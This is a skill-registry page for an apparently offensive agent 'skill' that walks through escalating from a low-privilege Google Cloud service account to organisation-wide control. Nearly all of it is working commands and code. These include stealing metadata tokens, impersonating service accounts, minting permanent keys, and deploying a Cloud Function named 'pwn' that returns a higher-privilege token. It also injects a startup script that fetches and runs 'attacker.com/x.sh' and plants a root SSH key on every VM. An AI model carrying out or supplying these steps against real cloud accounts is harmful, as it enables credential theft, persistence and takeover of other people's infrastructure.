GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.mdYou have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r .access_token)
# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'
# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
--permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')
# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'roles/iam.serviceAccountTokenCreatorIf you have iam.serviceAccounts.getAccessToken on a higher-priv SA:
gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
| jq -r .accessTokeniam.serviceAccountKeys.createMint a permanent JSON key for any SA you can act-on:
gcloud iam service-accounts keys create /tmp/k.json \
--iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.cloudfunctions.functions.update + actAsDeploy a function that runs AS a more-priv SA:
mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
import subprocess
out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
--service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv tokencompute.instances.setMetadataInject a startup-script that runs as the VM's SA on next boot:
gcloud compute instances add-metadata target-vm --zone=us-central1-a \
--metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-acompute.projects.setCommonInstanceMetadataProject-wide metadata = SSH key on every VM in the project:
ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .
# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
echo "=== $p ==="
gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
donegoogle.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.